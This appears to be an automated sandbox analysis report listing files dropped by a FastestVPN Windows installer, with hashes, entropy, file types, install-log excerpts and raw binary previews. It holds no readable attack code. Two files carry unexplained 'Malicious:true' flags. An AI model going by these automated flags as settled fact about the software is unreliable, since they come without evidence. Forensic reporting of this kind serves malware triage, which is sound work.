                                                                                                                    MD5:8DC8D595216B1D7703575B77282F7147
                                                                                                                    SHA1:5FBA510AB9D9677B5AF28757BFCFC3E6EE3228F5
                                                                                                                    SHA-256:7A8833790323071279C55854F35A1A802BF5D5766CABCFA381889460F95D5864
                                                                                                                    SHA-512:F1E79E49CF5F10C9BC88D2AAA078FABD772027360A8C9692334AC3BBCDFEEDD93C2C6234F4DE6C6B4AFBD443FD6315633FE8943229EE0CB8CA6A6F29C2AE97EE
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e.Z..........." ..0.............".... ... ....... .......................`......E.....`.....................................O.... ...................*...@..........T............................................ ............... ..H............text...(.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......pG...................... .......................................6.......(....*.~....*F~J......o.......*N........s....o...+*..0............(........~......o2...*.0............(........~K.....o....*.0..%.........(..........(........~L.......o....*....0..H.........(..........(........~M....o.............(....(.........{........o....*2~$....o....*2~#....o....*2~H....oz...*6~I.....o~...*:~J......o....*2~%....o....*2~&....o....*>.(.......o....*...0..N........,........s.....

                                                                                                                    C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):70824
                                                                                                                    Entropy (8bit):6.236705505937758
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:dMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTB7sK/T:SorK0HBDk4rV21HObvm2LJB4BAK/T
                                                                                                                    MD5:F7543F2749BAB00FB981A41BE19734F8
                                                                                                                    SHA1:8BE0A90C7C011EEF0A775A518F2A29CE4AB035AA
                                                                                                                    SHA-256:634CD208B4FE8DB050AC7D782CB953D51E266B62369F0F80B0CF9D10D077A76F
                                                                                                                    SHA-512:160FBEB4AE704D00800656274B7680003C64559867ACEFB9274A23A1AEE45A145254E66DF423653CC3776A2FFA2A4F98BA93510109CF9963AED4CEBA2913A106
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`............`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                    C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1685
                                                                                                                    Entropy (8bit):4.793020246491965
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:LLVFOGbexvLxcESrKFR8v4rUKtr4DsVZd+LJ0I6YIXjf8bLVFOGblLQM9XIxkKxV:0VNcVrYR8grUOIsX5I6vXapIKKbv
                                                                                                                    MD5:92C0400BF8CDD574F669E40B8D0C2BAB
                                                                                                                    SHA1:3EB5155763A3A204982D4231C7E882DC91F0016F
                                                                                                                    SHA-256:FDC8BFD5790E64F7DE5425BBA4C80A2E8F1648EE037D9A2B61070A8565B12A4A
                                                                                                                    SHA-512:9698839D57A4E3A34BA24CB4BDD6CACF97695748089448AC259CD939D952DF395C82A83E260CF75F8004FE33561E1365CDA1AF1C2DC70F63E28E6EA7403CED0D
                                                                                                                    Malicious:false
                                                                                                                    Preview:.Uninstalling assembly 'C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe'...Affected parameters are:.. logtoconsole = .. logfile = C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.. assemblypath = C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe..Removing EventLog source FastestVPNService...Warning: The source FastestVPNService is not registered on the local machine...Service FastestVPNService is being removed from the system.....An exception occurred during the uninstallation of the System.ServiceProcess.ServiceInstaller installer...System.ComponentModel.Win32Exception: The specified service does not exist as an installed service..An exception occurred while uninstalling. This exception will be ignored and the uninstall will continue. However, the application might not be fully uninstalled after the uninstall is complete...Installing assembly 'C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe'...Affected

                                                                                                                    C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallState

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (7463), with no line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7466
                                                                                                                    Entropy (8bit):5.1606801095705865
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:R3DrP/zatgCnNjn1x62muDr9aHmzcv/65m7JDcm0BeUanDtEx6vU4ZPn/R++JDrk:NexdYX7OqWovsx1EvsrJ
                                                                                                                    MD5:FFB29BD88BD23C639985F1D369DBD1CA
                                                                                                                    SHA1:F0AF5F803F59668AD52EA4B212A1CDE00DD5FE14
                                                                                                                    SHA-256:1ADB4F9D1D152E018246A0A2762B473D910906340207F57D3F8CE1097E1DE09F
                                                                                                                    SHA-512:1C12CF185691EE3D44A8522665F6AD20F41A4EE9C5A758B8DD2ABF7CC8F5F863F5CF5CB919BADFCDEE40394A89DA2C9A9601B93FB01B867932FAD4C03932B94D
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?><ArrayOfKeyValueOfanyTypeanyType xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" z:Id="1" z:Type="System.Collections.Hashtable" z:Assembly="0" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><LoadFactor z:Id="2" z:Type="System.Single" z:Assembly="0" xmlns="">0.72</LoadFactor><Version z:Id="3" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Comparer i:nil="true" xmlns="" /><HashCodeProvider i:nil="true" xmlns="" /><HashSize z:Id="4" z:Type="System.Int32" z:Assembly="0" xmlns="">3</HashSize><Keys z:Id="5" z:Type="System.Object[]" z:Assembly="0" z:Size="2" xmlns=""><anyType z:Id="6" z:Type="System.String" z:Assembly="0" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">_reserved_nestedSavedStates</anyType><anyType z:Id="7" z:Type="System.String" z:Assembly="0" xmlns="http://schemas.microsoft.com/20

                                                                                                                    C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.588649497011045
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:RYTtf+jLXlZfCd8RzDiFrlwkmGWUlupd0IYisq+i0FP27NBY3Yuv+42r:RYpKjlZfC6Fqg7FYiQ7K/Y/+42r
                                                                                                                    MD5:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                    SHA1:AB18989C4442EB204528E64B18000E8E02FA2C50
                                                                                                                    SHA-256:4E296E9B159F5D64E6E71821C9C06260AC02EBB424823ADA64E97DFD418C3CA1
                                                                                                                    SHA-512:7F6D1228F93E454477E3C4250D1D0C78995DE8D9AE07FA585DC8BDCBB4A1046338B66BEFE0BD9BF63F61085657F7080A1C6350403292E484F047F9ED791EF43B
                                                                                                                    Malicious:true
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._S............"...0..............M... ...`....@.. ...............................0....`..................................M..O....`..,............:...*...........L..8............................................ ............... ..H............text....-... ...................... ..`.rsrc...,....`.......0..............@..@.reloc...............8..............@..B.................M......H........(..H#...........L................................................{....*"..}....*6.(.....(....*..0..g.........(....... ....0.. .....0. .....". .....&*. .....#. .....!. ......*(,...*(-...*(....*(/...*(0...*(1...*..0..J.......(....(....-.(....(....&~....r...p(.....(.......1.~......(....(......(....*Z(-....(....%-.&*o....*....0.."........r...p..(....(....(....(......&..*...................0..#....... F#.....+..(....-..*..X...X....2..*..0..1.......(....o......,...-..*..+.

                                                                                                                    C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1327
                                                                                                                    Entropy (8bit):5.042117116126737
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:JdArztW1oF7Nv+pvH2/+jSLVhOXrRH2/dVv+BvH2/+jSLVtvH2/39y:3Arzcq7h+Fg+mL27Rgdp+dg+mLPg3w
                                                                                                                    MD5:E40244BE7715300DC4BA229C25237728
                                                                                                                    SHA1:F9D299542C616D860D495CE59A6FD2B90907B2E5
                                                                                                                    SHA-256:AE5027694FF0D363F757F112162AC8D49550826872C9A5B2BA67A75F56109C4D
                                                                                                                    SHA-512:CBEA4111D0A2D8BB5FF5AD631728C85A38668C6D470AB8A4D59D5334B9309EF34125E9A9F70EA942113212D5B1FD5EABF9DF860F9112B52D55C95EE32BB8721A
                                                                                                                    Malicious:true
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin.Security" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0

                                                                                                                    C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):2027887
                                                                                                                    Entropy (8bit):7.99991190527501
                                                                                                                    Encrypted:true
                                                                                                                    SSDEEP:49152:Xq59t6J29oopQrjf4Os4NMYUyxasDEHViiF4Ej5BP:afh1pADsLYUmawEHVt51
                                                                                                                    MD5:295BD88AE28DC353A50D8951142DF944
                                                                                                                    SHA1:DAE193E2DBD3D5FB81CD56E18E87D982625B1C9D
                                                                                                                    SHA-256:35B2B55944334FB482492D42E4D0611C1EB1CA631D6E24606729E0A6E1C4BAE5
                                                                                                                    SHA-512:414613A91CB7AAEF52DD52F0A68DA208324CA7AB4B6675D24CF484B68CAAD88B748FD6149415F9D0240E39A6950E1BECF7CA7BCFB44466C4B327FD4CF21C37E6
                                                                                                                    Malicious:false
                                                                                                                    Preview:Windows Registry Editor Version 5.00....3a...KM..........3.^...^.Wg..m..k...).xy..WO....W.^....$...K...%..F.."...m..s.d{6..i....... .`[..5X.)X{W..^uB.k9j....4%.am%.}..&^..c...2.'.$...o^.`.=........AOo.w.ntfS....~..Id_.T..b..wA.~$.E..?.tc....=..z'..........0P.8.....W.l.uy.MSR..lz......z.-KJoz... .4.....Z.l..O3..L.I..WhF.....7.........0h%./.OP.9O..wydK.{:.b..y....)....V..)./......#...w..`.^V.ry..z.&.4...p<s..`...$0. a.z...m"N.-.d*...xX...;.t...J.@.@E..>1K5..q..()O}.[f.;[.:.'g9...<..V.I.cK..P2.*......e.......lj.Bq`...h..Ma.#.9`.&.......R.=_..!.5...~_..QH.....ze.C..F..t.].&.t...{4}.[O.2Z]%....;.q^.T.)v.}..H......$7..W..f..G.z9?...g=........V...Lkk...T,.S...V.r..U.F.dh_.V....,=.....(...!.t..G...pU.\.@..n.....%...2.<.i.OJ..[$9.d].V.....u....l.u..+.\/.Z..>..D5.K...v...;K..u.G..]1..LRa......e.v...@?.O..n....\..(....t...X...L/T+..Q..#(..B....R..b.>.....3L.$<MW....ES..38@n2o..;.oH.(OLL6l.,.D9g......`l.~=<.....T.G....[K...O..~......._....x|

                                                                                                                    C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1004
                                                                                                                    Entropy (8bit):4.743456157396208
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:0wL/mMAGQOhPs43XVwL/mMAG8ipNVewL/mMAGbNXpsgOhn:0LTqnVLh6eLY5c
                                                                                                                    MD5:FB8F7A7B8FD8826568D2DEE10D1C9AC1
                                                                                                                    SHA1:D59BBFA7ED11D7044716AD555C4618824133A06C
                                                                                                                    SHA-256:B3C7D69A8763580BB1B0978B8C87FED4E1C8C9934497451D3D813B46B3F8A3F3
                                                                                                                    SHA-512:9DE3C7198F3C42227B9DE16246C189DEF584F51B2A17D210D3ED37346BD7B32989B5CB4F26F548E8FD3C88B166F6FBC1BB3A1DA1A35E83DE417ACC0F4A624485
                                                                                                                    Malicious:false
                                                                                                                    Preview:.....The uninstall is beginning...See the contents of the log file for the C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe assembly's progress...The file is located at C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.....The uninstall has completed.....Running a transacted installation.....Beginning the Install phase of the installation...See the contents of the log file for the C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe assembly's progress...The file is located at C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.....The Install phase completed successfully, and the Commit phase is beginning...See the contents of the log file for the C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe assembly's progress...The file is located at C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.....The Commit phase completed successfully.....The transacted install has complete

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):347016
                                                                                                                    Entropy (8bit):6.2576059322299855
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:+h0+XUaITFNwVI1ZdMfWsaYi3am2Wt6hn7UQjva9v:+u+XUTTvvndMfv64oQu
                                                                                                                    MD5:F4B5415B6C9EC38B073779A034421747
                                                                                                                    SHA1:DADEC8724A898C84A9F52A86A5D0ACFA71758341
                                                                                                                    SHA-256:2672829713F57630F2FC4DA57926456DDA7832F0E0F474F06462D2340B4DC4E3
                                                                                                                    SHA-512:82C58B9061CB8B4603B88AB69CD43461A886029AA7CE1A1ADB614F07EEE90FA979F7CC524272D6A494BADC79254906182DE5A90BF992E48160CA5C3DBE57C334
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U=............" ..0..............<... ...@....... ....................................`.................................z<..O....@...............(...#...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................<......H.......$....m..............H(...;........................................{0...*..{1...*V.(2.....}0.....}1...*...0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6...*.*. .... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X*.0...........r...p......%..{0....................-.q.............-.&.+.......o9....%..{1....................-.q.............-.&.+.......o9....(:...*..{;...*..{<...*V.(2.....};.....}<...*...0..;........u......,/(3....{;....{;...o4...,.(5....{<..

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):24976
                                                                                                                    Entropy (8bit):6.836703429014385
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:STg0otikxUoOHLLEzFzd7h8NTif2+3mJJWg/0W2yHRN7OBu1x85zR9zphght:SwtLUoOrud7hqE2+3mdYuz109zpc
                                                                                                                    MD5:5E8C253B1394C1E6E396A939C9FC9068
                                                                                                                    SHA1:6AE721F34E256FD90A99617BA19040D45FF6A41F
                                                                                                                    SHA-256:4B1A93C57580BD0F304B214EAA3C451272821ACAFC6A0EAE34976606030E0D69
                                                                                                                    SHA-512:22CCA8638EF56059A9DE79289D3EB8289F0774579059C6785B08D08229E366BC8E9FA591EAAFBB4F2952FF7627D1CA0AB180C2B82555BA9C4BC8806F837F478D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l?J..........." ..0..0..........^N... ...`....... ..............................L.....`..................................N..O....`..(............:...'...........@..p............................................ ............... ..H............text...d.... ...0.................. ..`.rsrc...(....`.......2..............@..@.reloc...............8..............@..B................@N......H........&..,....................@.......................................0..T........(.....-.r...ps....z.-.r...ps....z..}......o....%-.&s....}......o....%-.&s....}....*.0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..%............(....,...(.....{.....o....o....*....0..I........o....(....-%.....(....,..o ... ....o!.....(....+..o ... ....o!....(...+*v..{......o#...Q.P,..Po$...*.*..0..M........o%.....,B.o&....+%.o'.....o ...o(.....().....(*...o+...

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):166800
                                                                                                                    Entropy (8bit):5.092225196099469
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:JtayaXxHE9B92Pqg6/rKvXkZ5QwupmY6jCPL:yqNDKvUZZkVlL
                                                                                                                    MD5:2839920AD2E9C4B08F97715D88586056
                                                                                                                    SHA1:88F7544BF59DDD40E3C934C938A20164F3B518F1
                                                                                                                    SHA-256:A655B1BC143B918C6F31B52AEA2726C131F474B70BF7E2DDF36FE48B1E6E279D
                                                                                                                    SHA-512:E26A141021648398F109B41275154FDFCF139845466C9A37E80A1AD43725D914FD574F59706AD68404555BCB36490CB307E7E0C9158A8B8E94F97CB93E4C0F37
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..Z...........x... ........... ...............................b....`..................................x..O.......8............d...'...........^..p............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc...8............\..............@..@.reloc...............b..............@..B.................x......H........R..............|S......D^......................................j.-.r...ps$...z.s....(....*..0..Y........-.r...ps$...z.o%...s&......r...p(...+.r+..p..((.....(...+........%...%...%...>....(...+*..-.r...ps$...z......(+.........%...o,...*N.sD...%.oC...(....*b.sD...%.s-...oC...(....*2.sD...(....*....0..C........(.....-.rC..ps$...z.-.rM..ps$...z..,...o......}......}......}....*..0..?.........(/...}4......}5......}6......}3.....|4.....(...+..|4...(1...*j.{....,..{....r]..p.

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):101776
                                                                                                                    Entropy (8bit):6.519631245398067
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:+iE88BMo5Gv8yIu8mRfXU5i8Ubd0L1nDmNxk3NUXwPrSMk7+W+shzS0ICpL:+iE88BMo5Gv8yIu8mRfXU5fUbd01mNxV
                                                                                                                    MD5:58D1267BAFC9E0D9531D7C97A08A3A68
                                                                                                                    SHA1:1EC6E26D9E71D1CB5C885879CC8F6D3762DC5FD6
                                                                                                                    SHA-256:34FB96B4CCA40AC4312E36E3310EACC2C13F2562BAAB7FFE836060965B7AD579
                                                                                                                    SHA-512:E6A6EDE57B59CB675D869D1B5BD43C67C864363CE7168538ABB048F911783181546F7CBFEB29EE49EEC21291EEBD442E3BA9819967F8ABE3AD00AC33C94A3620
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c=..........." ..0..\...........z... ........... ...................................`.................................Kz..O....................f...'..........<C..p............................................ ............... ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H..........,............A.......B.......................................0..............o+...-..........*......*.0............(...+..-..........*..(...+*....0...........(,....s-...}......}/.....}2........(....r...p.$o/......5...(....r+..p.$o/...}1.....(0...,..o1........(....(2...,....{/...o3...t....}0....{1....(4...-..{0...-..{2...rI..p(....*.0..D........{1....(4...-..{0...-.(5...*.{1....o6...o3....l......(........o6...*.0...........{.......o7...,..*..(....*...0..........s8..

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):80784
                                                                                                                    Entropy (8bit):6.644018601476374
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:hwe4Dxq2afEZznigIM8U/w2ZAfiQ922f5qj1NrVuu26zmb:h54DxLaQAOw2C7922i1JVN6b
                                                                                                                    MD5:056A3B1C036A46447EBCA7083DA271A5
                                                                                                                    SHA1:8044FD37E124DF9BAFCE4311DB66D6B931120006
                                                                                                                    SHA-256:6BEDFFF38EB390D01F0D51340B7B4F8F7B3D1C1C6CEE8888C0A8088EDA19283D
                                                                                                                    SHA-512:3399C06120F32219D611D976D778654A2628AC5BA0FA778512FE1101EE461663C5D5819ED5EECF90363F70E69108F5DAA1A3E71E81BB7F9F635AED8908997852
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............(... ...@....... ..............................M.....`..................................'..O....@..(................'...`..........p............................................ ............... ..H............text........ ...................... ..`.rsrc...(....@......................@..@.reloc.......`......................@..B.................'......H........[..............................................................*....(....**....(....**....(....**....(....*..(&.....%-.&(....}......%-.&...'...s(...}......%-.&s....}....*j...(....%-.&.{......o)...*...0..........s........%-.&~*.......,(...+-....(......-..(,...-....(......-..*..o-...}_....o....(,...,.r...p+..o........{_.....(....}`....{`...-..*.......s/...*...0.............(......-..*.o0.....o1.....(.....(...+o.....+w.o..........o3........(4...,/.(5...(..........%...%.

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):65960
                                                                                                                    Entropy (8bit):6.704364809732977
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:qC7HwuzTT2IiiiiHnt7qMkPFb5NMBFv8n+nwfqw9ScubQyvz8:LTT2IiN09yPFbwBFyysqhvQyvo
                                                                                                                    MD5:3B6AD220174768E52510D449C7A5C817
                                                                                                                    SHA1:E76CB664268F45939A0A604E31CAB3DBE957510A
                                                                                                                    SHA-256:294A04A1305277ABDF2539649F8A7909DAC57ECF61F223600227BC1CDED6E2DC
                                                                                                                    SHA-512:43852FA0F4FD12967DAAF81613FF3C52EAD432F39E579E1C5C834595881A9E6AC156BCE326CEE3EB78D11D81AD33792870D31F81D7737483CF36636DB30DFCF1
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... .......................@......=.....`.................................e...O....... ................'... ......`...p............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc....... ......................@..B........................H........H...u..............X............................................0..>........-.r...ps....z.o....r...p..o....,..uW.....(....-..*("...s....z..-.r...ps....z.-.r...ps....z.o....r...p.o ...*..(!....s"...(......(......(....*..{....*R..}.....(.....o#...*..{....*"..}....*..{....*"..}....*z.(!.....(......%-.&s$...(....*..{....*"..}....*..{....*"..}....*..(!....-.r...ps....z..(%...s&...}.....{....o'...-.r...ps(...z*....0..g.........,..*.-.r...ps....z.o)...o*..../..*.o)...o+....

                                                                                                                    C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):122256
                                                                                                                    Entropy (8bit):6.572766216409801
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:nU40ONP+ki9jNhepTRIvy2V7iOHckTTv0c7tSuagvcCy:ShenI6w7wk0Sq3
                                                                                                                    MD5:C24CF68C9012B4E261D2FD6B2240BBE8
                                                                                                                    SHA1:45844AE139DB45652AAC12E1D6EE138ED709E261
                                                                                                                    SHA-256:42ED395C54526DAD6AA275CA2A65F6DE6E94BC8CEC8548CFB9891BA430FF1974
                                                                                                                    SHA-512:DDF7872EB70E9546D28A209A562C873BA9E9402AD600C3D44ACD425FC7337C19B581A8C06F8BAD5987B36EF82895AAD0DA48CBC7E0E64886CD0EB7C9884FFA4D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....*0..........." ..0.................. ........... ....................... .......$....`.................................k...O........................'..........0}..p............................................ ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........................u.......|........................................-.r...ps(...z......()....o*...*..-.r...ps(...z.-.r...ps(...z.......%...(...+&*..-.r...ps(...z.-.r...ps(...z.......%...(...+*...0..^........-.r...ps(...z.-.r...ps(...z.-.r-..ps(...z.(+...-..rI..p.o,...,.(S...r...ps-...z..s.....(....*...0...........-.r...ps(...z.-.r-..ps(...z..(....,$..(....rI..p.o,...,.(S...r...ps-...zs....%.o............%...(...+..o.......o/..........()...o0...t....o.....*...0..s.......

                                                                                                                    C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):711952
                                                                                                                    Entropy (8bit):5.967185619483575
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                    MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                    SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                    SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                    SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                    Malicious:false
